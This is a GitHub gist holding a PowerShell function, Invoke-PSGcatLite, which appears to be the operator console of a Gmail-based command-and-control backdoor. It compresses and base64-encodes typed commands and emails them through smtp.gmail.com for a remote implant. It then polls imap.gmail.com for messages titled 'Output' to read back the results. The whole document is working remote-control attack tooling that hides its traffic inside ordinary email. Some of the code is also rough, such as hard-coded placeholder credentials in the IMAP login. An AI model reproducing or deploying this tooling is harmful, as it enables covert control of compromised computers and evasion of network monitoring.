Skip to content

Instantly share code, notes, and snippets.

@samratashok
Created April 15, 2015 13:13
Show Gist options
  • Select an option

  • Save samratashok/a0d4b3724fef9c4fcf82 to your computer and use it in GitHub Desktop.

Select an option

Save samratashok/a0d4b3724fef9c4fcf82 to your computer and use it in GitHub Desktop.
function Invoke-PSGcatLite
{
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $false)]
[String]
$Username,
[Parameter(Position = 1, Mandatory = $false)]
[String]
$Password,
[Parameter(Position = 2, Mandatory = $false)]
[String]
$AgentID
)
$ErrorActionPreference = "SilentlyContinue"
while($Payload -ne "exit")
{
$Payload = Read-Host -Prompt "PS GcatLite"
$ms = New-Object IO.MemoryStream
$action = [IO.Compression.CompressionMode]::Compress
$cs = New-Object IO.Compression.DeflateStream ($ms,$action)
$sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
$Payload | ForEach-Object {$sw.WriteLine($_)}
$sw.Close()
# Base64 encode stream
$Compressed = [Convert]::ToBase64String($ms.ToArray())
#http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
$smtpserver = “smtp.gmail.com”
$msg = new-object Net.Mail.MailMessage
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
$smtp.EnableSsl = $True
$smtp.Credentials = New-Object System.Net.NetworkCredential(“$username”, “$password”);
$msg.From = “$username@gmail.com”
$msg.To.Add(”$username@gmail.com”)
$msg.Subject = "Command"
$msg.Body = "##" + $Compressed
$smtp.Send($msg)
#Read output
try
{
$tcpClient = New-Object -TypeName System.Net.Sockets.TcpClient
# Connect to gmail
$tcpClient.Connect("imap.gmail.com", 993)
if($tcpClient.Connected)
{
# Create new SSL Stream for tcpClient
[System.Net.Security.SslStream] $sslStream = $tcpClient.GetStream()
# Authenticating as client
#Write-Output "Authenticating as client."
$sslStream.AuthenticateAsClient("imap.gmail.com");
if($sslStream.IsAuthenticated)
{
# Asssigned the writer to stream
[System.IO.StreamWriter] $sw = $sslstream
# Assigned reader to stream
[System.IO.StreamReader] $reader = $sslstream
$script:result = ""
$sb = New-Object System.Text.StringBuilder
$mail =""
$responsebuffer = [Array]::CreateInstance("byte", 2048)
function ReadResponse ($command)
{
$sb = New-Object System.Text.StringBuilder
if ($command -ne "")
{
$command
$buf = [System.Text.Encoding]::ASCII.GetBytes($command)
$sslStream.Write($buf, 0, $buf.Length)
}
$sslStream.Flush()
$bytes = $sslStream.Read($responsebuffer, 0, 2048)
$str = $sb.Append([System.Text.Encoding]::ASCII.GetString($responsebuffer))
$sb.ToString()
$temp = $sb.ToString() | Select-String "\* SEARCH"
if ($temp)
{
$fetch = $temp.ToString() -split "\$",2
$tmp = $fetch[0] -split "\* SEARCH " -split " " -replace "`n"
[int]$mail = $tmp[-1]
$cmd = ReadResponse("$ FETCH $mail BODY[TEXT]`r`n", "1")
$cmd
}
}
ReadResponse ""
ReadResponse ("$ LOGIN " + "username@gmail.com" + " " + "password" + " `r`n") | Out-Null
ReadResponse("$ SELECT INBOX`r`n") | Out-Null
ReadResponse("$ SEARCH SUBJECT `"Output`"`r`n")
ReadResponse("$ LOGOUT`r`n") | Out-Null
}
else
{
Write-Error "You were not authenticated. Quitting."
}
}
else
{
Write-Error "You are not connected to the host. Quitting"
}
}
catch
{
$_
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment